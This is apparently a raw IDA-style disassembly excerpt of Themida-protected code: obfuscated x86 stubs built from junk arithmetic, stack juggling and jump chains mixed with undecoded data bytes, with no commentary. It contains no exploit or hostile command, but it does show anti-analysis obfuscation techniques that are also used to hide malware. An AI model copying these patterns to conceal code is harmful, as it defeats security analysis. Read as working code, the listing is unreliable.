		mov	[esp], ebp
		push	7DA3644Eh
		pop	ebp
		sub	ebp, 0FFFFFFFFh
		sub	esp, 4
		jmp	loc_550D23
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 1749BB53h, 0EBC1299Bh, 67EB8104h, 0F76C8B4Eh, 90C381D3h
		dd 29DADA85h, 88055BD8h, 59098933h, 96DBD55h, 0D5F72A90h
		dd 8106EDC1h, 9114F1C5h, 46C5814Bh, 29BACC99h, 12E95DEBh
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548037:				; CODE XREF: Themida_:00552191j
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, esi
		xor	eax, esi
		jmp	loc_550EF7
; ---------------------------------------------------------------------------
		dd 895EF229h, 0F7015AD6h, 2BD555Eh, 0E9000000h,	9BCEh
		dd 1DB868h, 24048900h, 3293E9h,	66096800h, 0C890000h, 0E198E924h
		dd 88B3FFFFh, 0F65BDA88h, 68C2FEDAh, 80Fh, 1F68E9h
		db 0
; ---------------------------------------------------------------------------


loc_548085:				; CODE XREF: Themida_:005484C3j
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_54D4BC
; ---------------------------------------------------------------------------
		db 83h
		dd 8B042404h, 54502404h, 40558h, 4050000h, 87000000h, 55C2404h
		dd 4, 6C2F68h, 243C8900h, 2BFh,	5FF80100h, 0E9240433h
		dd 7DDEh
; ---------------------------------------------------------------------------


loc_5480C8:				; CODE XREF: Themida_:0054EFECj
		xor	ebp, 23B82CFBh
		xor	ebp, 3ECE23A3h
		jmp	loc_550303
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0EB830000h, 241C8704h, 0FFEFF9E9h, 240C89FFh
		dd 0BF57E189h, 6BFA5A75h, 5502E7C1h, 4C3CF2BDh,	94C58134h
		dd 312E9EE0h, 0CF815DEFh, 24222156h, 2DB5EF81h,	4CE90A1Eh
		dd 0BE00005Dh, 4, 835EF201h, 143302C2h,	24143124h, 5C241433h
		dd 6414E9h, 2840B200h, 148B66D0h, 2C48324h, 75A7E9h, 4FF6600h
		dd 0BBE99C24h, 28FFFFE0h, 0AEEB80C3h, 0E9C0B60Fh, 5666h
		dd 2F11E950h, 0C4830000h, 0A4F3E904h, 6E680000h, 89000010h
		dd 73BE2434h, 0E98136A3h, 0FFFFE3A5h, 405h, 4E88300h, 31240433h
		dd 4332404h, 4EE95C24h,	89000013h, 8FE95AD5h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54819B:				; CODE XREF: Themida_:0054CCBBj
		push	edx
		mov	edx, 229E4FF6h
		not	edx
		push	esi
		mov	esi, 22BF7851h
		neg	esi
		and	esi, 244D42ADh
		jmp	loc_548F72
; ---------------------------------------------------------------------------
aXs?		db 'Xé?',8,0
		align 4


loc_5481BC:				; CODE XREF: Themida_:00551FA7j
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5489F2
; ---------------------------------------------------------------------------
		dw 4FEh
		dd 0F2E99C24h, 8100005Bh, 244D7DEEh, 10C68136h,	164626Eh
		dd 0EC9EE9FEh, 305CFFFFh, 0E99C2404h, 0FFFFE012h
; ---------------------------------------------------------------------------


loc_5481F8:				; CODE XREF: Themida_:00550FE6j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 13DC7E48h
		jmp	loc_54C94A
; ---------------------------------------------------------------------------
aLQssc		db '‹<$Qé‘c',0
		dw 8900h
		dd 0B9E9242Ch, 5800000Ch, 0B978D405h, 348B596Ah, 4C48124h
		dd 56000000h, 8904EC83h, 0DDBA2414h, 0E94D133Ah, 7268h
; ---------------------------------------------------------------------------


loc_548240:				; CODE XREF: Themida_:0054A164j
		push	bx
		jmp	loc_54F701
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFF018E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54824D:				; CODE XREF: Themida_:00549D35j
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	4E0Bh
		mov	[esp], ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_54C565
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 55h
		dd 3553E9h, 24048B00h, 2D1CE9h,	0E9CE0100h, 0F53h
; ---------------------------------------------------------------------------


loc_548288:				; CODE XREF: Themida_:00547985j
		add	edi, 4
		jmp	loc_547E87
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 85E904ECh, 5A000041h, 8B24048Fh, 34FF2424h
		dd 2434FF24h, 4260E9h, 0E9F20100h, 5864h, 47B268h, 24148900h
		dd 0FFDF45E9h, 6E6C1FFh, 1571E9h, 0E7895700h, 56E8E9h
		dd 243C8900h, 243C8B51h, 4C481h, 83590000h, 3C8904ECh
		dd 2474FF24h, 0CEE95F04h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5482F3:				; CODE XREF: Themida_:0054BF90j
		xchg	ebp, [esp]
		pop	esp
		add	bl, 21h
		add	bl, al
		push	edx
		push	ebx
		mov	bl, 0Fh
		push	edx
		mov	dl, bl
		not	dl
		mov	bl, dl
		pop	edx
		sub	bl, 0BDh
		inc	bl
		neg	bl
		xor	bl, 72h
		mov	dl, bl
		pop	ebx
		sub	dl, 4Dh
		jmp	loc_54841B
; ---------------------------------------------------------------------------
		dd offset dword_53A858+610h
		align 2
		dw 0C89h
		dd 0C8B5424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5476FF
; ---------------------------------------------------------------------------
		dd 0BCE9E589h, 0F7000014h, 8759241Ch, 87D7F7F9h, 0DFE981F9h
		dd 1164B05h, 0C58159CDh, 4, 31242C33h, 2C33242Ch, 24248B24h
		dd 0FFDE99E9h, 240C87FFh, 2414895Ch, 0EC81E289h, 4, 0BD242C89h
		dd 4B056712h, 373BED81h, 0F5814920h, 55493D5Eh,	4E5C145h
		dd 289CED81h, 0EA014AC1h, 65BEE95Dh, 24890000h,	24048124h
		dd 4, 582434FFh, 4C481h, 0E9520000h, 6143h, 3957EF81h
		dd 0E95D6EEBh, 36EFh, 4BD55h, 0EE010000h, 6D04E9h, 24048B00h
		dd 81595451h, 4C1h, 4C18100h, 33000000h, 83E9240Ch, 8100002Fh
		dd 0FB2E26E9h, 8B4FE925h, 8B660000h, 8957240Ch,	4EC81E7h
		dd 89000000h, 0FCE92434h, 0FF00008Fh, 52E92434h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54841B:				; CODE XREF: Themida_:00548318j
		and	dl, 65h
		jmp	loc_5488AF
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 139EE900h, 0E9420000h,	4D1h, 51ED8159h, 50439868h
		dd 490F35B8h, 50DCE97Eh, 0F1810000h, 4F4C4C7Eh,	0E959CA01h
		dd 613Ah
; ---------------------------------------------------------------------------


loc_548454:				; CODE XREF: Themida_:0054D4C2j
		sub	bl, 0D9h
		push	eax
		mov	ah, 5
		jmp	loc_551112
; ---------------------------------------------------------------------------
		align 10h
		dd 28F5E9D0h, 0FE5C0000h, 0E99C240Ch, 0FFFFDD9Ah, 81665E66h
		dd 0F4F50C3h, 33E9C0B7h, 5600002Fh, 0C681E689h,	4, 4EE81h
		dd 34870000h, 98E95C24h, 53FFFFEBh, 0C381E389h,	4, 4EB81h
		dd 8AE90000h, 5200003Fh, 69E9CCB2h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5484B3:				; CODE XREF: Themida_:0054C002j
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_548085
; ---------------------------------------------------------------------------


loc_5484C8:				; CODE XREF: Themida_:0054F196j
		push	1
		pop	ebp
		jmp	loc_54A7A4
; ---------------------------------------------------------------------------
		db 51h
		dd 8852B753h, 123EE9FDh, 0D1F70000h, 7289E181h,	0D9F77BEDh
		dd 0B6BF5749h, 47709C5Dh, 5E90E9h
		db 0
; ---------------------------------------------------------------------------


loc_5484F5:				; CODE XREF: Themida_:00549DC4j
		pop	ebx
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_548E96
; ---------------------------------------------------------------------------
		dd 2159CE01h, 0A303E9F2h, 840F0000h, 0A0C9h, 69568h, 24348900h
		dd 0FEBEh, 9E88E900h, 148B0000h, 4C48124h, 0E9000000h
		dd 1189h, 33BCEE81h, 0F389117Dh, 0A3A1E9h, 4C48100h, 81000000h
		dd 4ECh, 243C8900h, 6BD3E9h, 0F4E95400h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548557:				; CODE XREF: Themida_:005504AFj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	1
		push	dword ptr [esp]
		jmp	loc_546F3C
; ---------------------------------------------------------------------------


loc_548571:				; CODE XREF: Themida_:0054D75Fj
		pop	esp
		push	ecx
		push	eax
		mov	eax, 63384BA2h
		push	ebx
		mov	ebx, 3DC4147Bh
		shr	ebx, 2
		and	ebx, 2043109Ch
		sub	ebx, 2D5D197Fh
		sub	ebx, 93E76F2h
		sub	ebx, 3B6112C3h
		add	ebx, 0C4E8FC64h
		and	eax, ebx
		pop	ebx
		and	eax, 6A9F1ADCh
		inc	eax
		jmp	loc_54747E
; ---------------------------------------------------------------------------
		dw 2489h
		dd 0BE565024h, 66F2289Dh, 0B1EEE81h, 0F0893D14h, 3359E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5485C6:				; CODE XREF: Themida_:0054DEBFj
		pop	edx
		and	cl, 9Dh
		inc	cl
		push	69AAh
		mov	[esp], eax
		mov	al, 1
		add	cl, al
		pop	eax
		push	eax
		jmp	loc_54908A
; ---------------------------------------------------------------------------


loc_5485DF:				; CODE XREF: Themida_:0054E5A3j
		xchg	ecx, [esp]
		mov	esp, [esp]
		bswap	eax
		push	5B6Dh
		mov	[esp], eax
		jmp	loc_54620A
; ---------------------------------------------------------------------------


loc_5485F4:				; CODE XREF: Themida_:0054F874j
		inc	ebp
		push	edx
		jmp	loc_54AE47
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240419h, 0FFEB0EE9h, 24148BFFh,	4C481h
		dd 4870000h, 24248B24h,	0E99CC885h, 0FFFFDBEAh,	0DBF6D9B3h
		dd 80BAC380h, 0EEE973CBh, 33000046h, 1C31241Ch,	241C3324h
		dd 0E924248Bh, 66A7h
; ---------------------------------------------------------------------------


loc_548640:				; CODE XREF: Themida_:0054CAC9j
		mov	ebp, 37A82BC4h
		jmp	loc_54D427
; ---------------------------------------------------------------------------


loc_54864A:				; CODE XREF: Themida_:0054CF77j
		mov	ebp, 72425747h
		shl	ebp, 1
		jmp	loc_549601
; ---------------------------------------------------------------------------


loc_548656:				; CODE XREF: Themida_:005490FFj
		and	[edi+20h], ebx
		pop	ebx
		push	eax
		mov	eax, 20614B1h
		sub	[edi+20h], eax
		pop	eax
		jmp	loc_54CBA3
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 2FE90000h, 5F000052h, 4B850h, 0C7010000h, 0E924048Bh
		dd 77ADh
; ---------------------------------------------------------------------------


loc_548684:				; CODE XREF: Themida_:0054908Dj
		not	bh
		shr	bh, 6
		jmp	loc_5465D5
; ---------------------------------------------------------------------------


loc_54868E:				; CODE XREF: Themida_:0054A745j
		add	ebx, 4
		push	esi
		mov	esi, 1B216B5Eh
		shr	esi, 1
		jmp	loc_54E9B2
; ---------------------------------------------------------------------------


loc_5486A1:				; CODE XREF: Themida_:0054D479j
		push	eax
		mov	eax, 4
		add	edi, 6EFD0247h
		add	edi, eax
		sub	edi, 6EFD0247h
		pop	eax
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_54AE84
; ---------------------------------------------------------------------------
aN1Sc		db '­1Øéc^',0
		align 4
		dd 33B951ADh, 5126B820h, 0FF2414F7h, 83592434h,	0BA5204C4h
		dd 72B0669h, 505AD101h,	55AAE9h, 0A5C58100h, 14AE750h
		dd 0DE015DEBh, 1786E9h
		db 0
; ---------------------------------------------------------------------------


loc_548709:				; CODE XREF: Themida_:005478FDj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_54C4EF
; ---------------------------------------------------------------------------
		dd offset dword_592268
		dw 8900h
		dd 0B1B82404h, 2D0F8E5Dh, 0DE67425h, 8158C231h,	39138EC3h
		dd 9103E942h, 0E2810000h, 61DA26BAh, 4522E9h, 5C64BB00h
		dd 0BE566F1Eh, 32AF68B0h, 348BF321h, 4C48124h, 0E9000000h
		dd 6A12h, 0D10F0ABDh, 246C0151h, 2434FF04h, 0D45E9h
		db 0
; ---------------------------------------------------------------------------


loc_548769:				; CODE XREF: Themida_:0054C023j
		add	edx, eax
		pop	eax
		jmp	loc_54AD37
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0BFE90000h, 5200008Dh, 81D2E9h, 2B800h, 0C5890000h
		dd 7759E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54878E:				; CODE XREF: Themida_:005518A8j
		push	eax
		jmp	loc_54B6B3
; ---------------------------------------------------------------------------


loc_548794:				; CODE XREF: Themida_:00551C21j
		push	ebp
		push	esi
		mov	esi, 307A4DDDh
		mov	ebp, esi
		pop	esi
		xor	[esp+4], ebp
		jmp	loc_54C0F6
; ---------------------------------------------------------------------------
		db 81h
		dd 71598ACAh, 35BD5571h, 2965FAB4h, 8CE95DEAh
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5487BB:				; CODE XREF: Themida_:00549A8Dj
		mov	esi, 32DF60DBh
		sub	edi, esi
		pop	esi
		and	ecx, edi
		pop	edi
		jmp	loc_54CEAD
; ---------------------------------------------------------------------------
aS_5		db ']é',8,'&',0
		db 0
; ---------------------------------------------------------------------------


loc_5487D1:				; CODE XREF: Themida_:0054DC61j
		add	eax, 2D9F548Bh
		add	eax, 0E3A566Bh
		sub	eax, 0E73C24h
		sub	eax, esi
		add	eax, 0E73C24h
		sub	eax, 0E3A566Bh
		sub	eax, 2D9F548Bh
		jmp	loc_54C907
; ---------------------------------------------------------------------------
		dw 0D629h
		dd 0C681595Ah, 2, 8B243487h, 0F7662424h, 7F6866E1h, 14896654h
		dd 9C506624h, 0FFD9F1E9h, 240CD2FFh, 0D9E8E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548822:				; CODE XREF: Themida_:0054936Fj
		sub	eax, 0B8D20AC3h
		add	ecx, eax
		pop	eax
		mov	ebx, [esp]
		jmp	loc_54E59D
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFECB0h
; ---------------------------------------------------------------------------


loc_548838:				; CODE XREF: Themida_:005506CEj
		push	ecx
		push	eax
		mov	al, dl
		mov	cl, al
		pop	eax
		mov	bl, cl
		jmp	loc_54DFF4
; ---------------------------------------------------------------------------
		dw 5066h
		dd 0FFFC5EE9h, 4EC81FFh, 89000000h, 33BA2414h, 16EA303h
		dd 0EE815AD6h, 27224832h, 8124048Bh, 4C4h, 0E9525200h
		dd 2C07h, 8F05E953h, 65680000h,	8900004Ah, 0BA52242Ch
		dd 451430D5h, 32EBB53h,	0DA315970h, 0C9EA815Bh,	501BB2C4h
		dd 0C589D089h, 0EBE95A58h, 6600003Eh, 57240C8Bh, 89E9E789h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5488AF:				; CODE XREF: Themida_:0054841Ej
		push	eax
		mov	ah, 65h
		push	cx
		mov	ch, 0F4h
		add	ah, ch
		jmp	loc_54D6DB
; ---------------------------------------------------------------------------
aFSN		db 'f!Öé-',0
		dd 0CEB95100h, 0E972A04Bh, 8B7Eh, 80ADC380h, 0B55163EBh
		dd 85ED800Dh, 8BF0E9h, 5762BD00h, 0DD311C77h, 6E5C15Bh
		dd 241CF755h, 0FFDFC1E9h, 0E78957FFh, 1774E9h, 243C3100h
		dd 0FFE6A1E9h, 81D787FFh, 6DBFBBC7h, 0E9FE89AEh, 52B5h
		dd 0ABF28142h, 0C1180169h, 63E906EAh, 0FF000043h, 0E99C240Ch
		dd 0FFFFD8DEh, 4C4835Ah, 0FFFF11E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548935:				; CODE XREF: Themida_:0054B5B8j
		push	6DBDh
		mov	[esp], edx
		jmp	loc_54A1CA
; ---------------------------------------------------------------------------


loc_548942:				; CODE XREF: Themida_:0054C789j
		xor	esi, 51B24320h
		not	esi
		sub	esi, 4A977EF3h
		jmp	loc_5512AF
; ---------------------------------------------------------------------------
		db 89h,	0D1h, 5Ah
		dd 34FFC831h, 0C4835924h, 44E86804h, 14890000h,	0EA94E924h
		dd 77FFFFFFh, 5325E93Ch, 8B660000h, 0EC812404h,	4, 54240C89h
		dd 83240C8Bh, 0BB5304C4h, 4, 51EDC181h,	0E9811FEDh, 71764F14h
		dd 0C181D901h, 71764F14h, 51EDE981h, 1C8B1FEDh,	4C48324h
		dd 7753E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5489B6:				; CODE XREF: Themida_:0054D2EDj
		pop	eax
		push	42A1h
		jmp	loc_54A089
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFD841E9h, 6FC9BFFFh, 0EFC119F9h, 7DE94F06h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5489D7:				; CODE XREF: Themida_:00548B2Fj
					; Themida_:00550E95j
		push	5849h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	42CBh
		jmp	loc_54D10E
; ---------------------------------------------------------------------------


loc_5489F2:				; CODE XREF: Themida_:005481CDj
		mov	[esp], edx
		push	ecx
		jmp	loc_54AC20
; ---------------------------------------------------------------------------
		db 31h
		dd 0C3315DE8h, 0E930FF66h, 0FFFFD802h, 22DCE959h, 55590000h
		dd 17F2E9h, 147F6800h, 4890000h, 5E08924h, 4, 4DB4E9h
		db 0
; ---------------------------------------------------------------------------


loc_548A29:				; CODE XREF: Themida_:005517A5j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_54D8E1
; ---------------------------------------------------------------------------


loc_548A3F:				; CODE XREF: Themida_:0054CD7Fj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54746A
; ---------------------------------------------------------------------------
		dd 2ED60548h, 0F22D7112h, 21DA8BB5h, 0F58158C5h, 37C072E7h
		dd 814DD5F7h, 6092E0F5h, 5DE901F5h, 76BBF57h, 0EF8144AFh
		dd 4D816E1Eh, 71A7B951h, 0CF29D611h, 2BB2E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548A82:				; CODE XREF: Themida_:005512B9j
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_54C8FC
; ---------------------------------------------------------------------------
		dw 0DA29h
		dd 7ABE565Bh, 0E968225Ah, 0FFFFE9FEh, 0D8DDE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548AA6:				; CODE XREF: Themida_:0054D019j
		pop	esp
		mov	[esp], ax
		mov	al, 80h
		jmp	loc_550A87
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 241C8B24h, 4EC81h, 3C890000h, 51E78924h, 467E9h, 20806800h
		dd 3C890000h, 3C8B5A24h, 4C48124h, 0BE000000h, 3ABE7830h
		dd 95AD629h, 0C9E91C77h, 57000045h, 51D4E9h, 4C48100h
		dd 1000000h, 243C8BF8h,	0E904C483h, 0FFFFEFE9h
; ---------------------------------------------------------------------------


loc_548B04:				; CODE XREF: Themida_:00550DF0j
		push	edx
		jmp	loc_550F68
; ---------------------------------------------------------------------------


loc_548B0A:				; CODE XREF: Themida_:0054A582j
		sub	[esp], edx
		add	dword ptr [esp], 13C60DFAh
		pop	edx
		push	esi
		mov	esi, 0E4692DA6h
		sub	edx, 58D2419Dh
		sub	edx, esi
		add	edx, 58D2419Dh
		pop	esi
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_5489D7
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	ebp
		mov	ebp, 35901ED5h
		and	ebp, 565F609Eh
		and	ebp, 2A8029DDh
		and	ebp, 35F976A9h
		jmp	loc_54E367
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 347B2D5Ah, 0F0014B0Ah, 0A347B05h, 30815E4Bh,	13E51C2Eh
		dd 0B9515B58h, 65FD2BF5h, 0C102E9C1h, 0A0E908E9h, 8900009Ah
		dd 0D589242Ch, 2C8BEB89h, 4C48124h, 0FF000000h,	835A2434h
		dd 0C5E904C4h, 5000000Ch, 4B8h,	8BC60100h, 0C4812404h
		dd 4, 8904EC83h, 4CB82404h, 481C744Eh, 134ABF57h, 0BE56290Dh
		dd 167421CBh, 436E681h,	0E6C11C76h, 0C1D6F703h,	0C68108E6h
		dd 0D19B699Ch, 348BF709h, 5635E924h, 30BD0000h,	4D59225Eh
		dd 5E2BF581h, 0E9E95922h, 81000031h, 4C2h, 1EEC6800h, 3C890000h
		dd 9BF24h, 0C781626Ah, 658637A5h, 37ACF781h, 0FA01C7F0h
		dd 20E9525Fh
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548C2B:				; CODE XREF: Themida_:0054A3EBj
		pop	esp
		pop	ecx
		sub	ecx, 7E3C2A4Eh
		push	33DAh
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_5509ED
; ---------------------------------------------------------------------------
		dd 0EB80C328h, 0C0B60FE7h, 528734FFh, 3D0F12BAh, 24540137h
		dd 48B5A04h, 4C48124h, 0E9000000h, 1267h
; ---------------------------------------------------------------------------


loc_548C68:				; CODE XREF: Themida_:00548FBAj
		mov	edi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 4B334907h
		inc	ebp
		inc	ebp
		jmp	loc_54BB27
; ---------------------------------------------------------------------------
		dd 4C7835Dh, 7B1368h, 243C8900h, 42474FFh, 24048F5Fh, 0E9C15Ch
		dd 840FC009h, 80B6h, 4EC81h, 34890000h,	0E3895324h, 4C381h
		dd 0EB810000h, 4, 0E9241C87h, 57ADh
; ---------------------------------------------------------------------------


loc_548CB8:				; CODE XREF: Themida_:0054E0F2j
		pop	eax
		push	66BAh
		mov	[esp], eax
		mov	al, 48h
		sub	cl, al
		jmp	loc_54F21F
; ---------------------------------------------------------------------------


loc_548CCA:				; CODE XREF: Themida_:0054DF36j
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54F2FF
; ---------------------------------------------------------------------------


loc_548CDD:				; CODE XREF: Themida_:00551496j
		pop	ecx
		push	6388h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_5528D4
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 0DFA9E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548D0A:				; CODE XREF: Themida_:00551E8Ej
		mov	edx, 1092503h
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5500A7
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 24248B24h, 582434FFh, 4EC81h, 38E90000h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548D37:				; CODE XREF: Themida_:0054D8D0j
		mov	eax, [esp]
		jmp	loc_546DCD
; ---------------------------------------------------------------------------
		db 52h
		dd 0C2815A54h, 4, 4B850h, 0C2010000h, 642CE9h, 0E9565900h
		dd 0FFFFE41Dh
; ---------------------------------------------------------------------------


loc_548D5C:				; CODE XREF: Themida_:00551640j
		push	ebx
		mov	ebx, 62AB068Ah
		sub	edx, ebx
		pop	ebx
		mov	ebx, edx
		jmp	loc_551FB4
; ---------------------------------------------------------------------------


loc_548D6C:				; CODE XREF: Themida_:0054AF21j
		pop	ebx
		add	esp, 4
		jmp	loc_54C485
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 0E9EF0100h,	6BC9h, 594EC281h, 0D3E950DEh
		dd 81000089h, 0E30499E3h, 5EF38126h, 0E9445E1Fh, 6CCAh
		dd 0E580C1B5h, 1CED8052h, 29B652h, 670FE9F0h, 9C500000h
		dd 0FFD44DE9h, 0E9E9F7FFh, 0FFFFF559h, 0BB241C89h, 61607C67h
		dd 3F98EB81h, 4EE90AD4h, 5000005Ah, 6FABE9h, 3EDC100h
		dd 0C581D5F7h, 91CF5805h, 8B5DE829h, 8956243Ch,	4C681E6h
		dd 0E9000000h, 0FFFFFF06h, 240C8B66h, 4E61E9h, 0E9C32900h
		dd 0FFFFE57Ch, 0FAE95266h, 81000048h, 4ECh, 7A2EE900h
		dd 2BF0000h, 0E9000000h, 0FFFFF3B3h, 1DFC381h, 0EB8162C4h
		dd 687503DAh, 0C381EB01h, 687503DAh, 0B20E9h, 0E9CAFE00h
		dd 9D2h, 40B9515Ch, 1000000h, 0E68956F9h, 4C681h, 0EE830000h
		dd 24348704h, 242C895Ch, 2DBD5550h, 3120BE44h, 5D04246Ch
		dd 2DF5815Dh, 5020BE44h, 0B8h, 89C80100h, 2434FF28h, 0DB4EE958h
		dd 805BFFFFh, 0ED8067F5h, 1B90E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548E96:				; CODE XREF: Themida_:005484FBj
		mov	ecx, [esp]
		jmp	loc_5525E3
; ---------------------------------------------------------------------------
		dw 6658h
		dd 57241C8Bh, 58B6E9h, 240C8900h, 0BB22CAB9h, 57E9810Fh
		dd 8115AD42h, 0F21F91C1h, 59CF0105h, 0FFEA9CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548EC5:				; CODE XREF: Themida_:0054C94Ej
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54E5DB
; ---------------------------------------------------------------------------
		dd 4BDh, 0E9EA0100h, 0FFFFD56Eh, 0E2DBE95Fh, 0B4B9FFFFh
		dd 2946232Bh, 13E959C8h, 66FFFFD7h, 2FF4E681h, 338BE9h
		db 0
; ---------------------------------------------------------------------------


loc_548F01:				; CODE XREF: Themida_:0054E7FAj
		mov	ebp, 52706D6Fh
		jmp	loc_549CB9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68300h, 8B243487h, 3682424h,	89000060h, 5F54243Ch
		dd 1527E9h, 0E9DE8800h,	2E79h, 0E904EC83h, 21E6h, 875AD701h
		dd 0FF5C243Ch, 83582434h, 1C8904ECh, 0E988E924h, 3489FFFFh
		dd 82BF5724h, 8145030Fh, 6F0A35F7h, 81DFF76Bh, 1EFh, 7FE78100h
		dd 87739E44h, 0F4BCE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548F72:				; CODE XREF: Themida_:005481B1j
		inc	esi
		add	esi, 1
		jmp	loc_54D5A5
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 80C200D5h, 5066D5EAh, 9467E9h
		db 0
; ---------------------------------------------------------------------------


loc_548F8D:				; CODE XREF: Themida_:005475BDj
		add	ebp, 0FB87D0FCh
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	edi
		push	18C7h
		mov	[esp], esi
		mov	esi, 7E1B6367h
		push	ecx
		mov	ecx, 81E89C99h
		jmp	loc_548C68
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 51536600h, 0B75357B1h,	2BF7803Bh, 855B551h, 0C78059EFh
		dd 0B65266F6h, 3062E9BEh, 0E95E0000h, 52DAh, 2B05EE81h
		dd 7701C3FEh, 815A5E20h, 4ECh, 242C8900h, 4C104CBDh, 7DD7E97Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549006:				; CODE XREF: Themida_:00546D7Ej
		xor	edi, edx
		jmp	loc_54DCD1
; ---------------------------------------------------------------------------
		db 1, 0D9h, 5Bh
		dd 12E6E9h, 24248B00h, 40D7E950h, 0C1BA0000h, 0E94FB337h
		dd 2866h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55040B
; ---------------------------------------------------------------------------


loc_54903F:				; CODE XREF: Themida_:0054D4D6j
		pop	esi
		mov	ebx, ebp
		pop	ebp
		jmp	loc_54620A
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 83242489h, 5A042404h
		dd 0FFDE0BE9h, 665966FFh, 50241C8Bh, 17F0E9h, 4C58100h
		dd 81000000h, 4ECh, 24348900h, 4BEh, 23E6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54908A:				; CODE XREF: Themida_:005485DAj
		push	ebx
		mov	bh, 0AEh
		jmp	loc_548684
; ---------------------------------------------------------------------------
		dw 875Bh
		dd 815C2404h, 3C6242Ch,	4815130h, 3D6E6A24h, 24040155h
		dd 6A242C81h, 0E9553D6Eh, 18F9h, 4DE9CB01h, 81FFFFF9h
		dd 102ADCC2h, 81DA0118h, 102ADCEAh, 13C28118h, 5B5BAE74h
		dd 2C281h, 14870000h, 24248B24h, 9C240400h, 0FFD125E9h
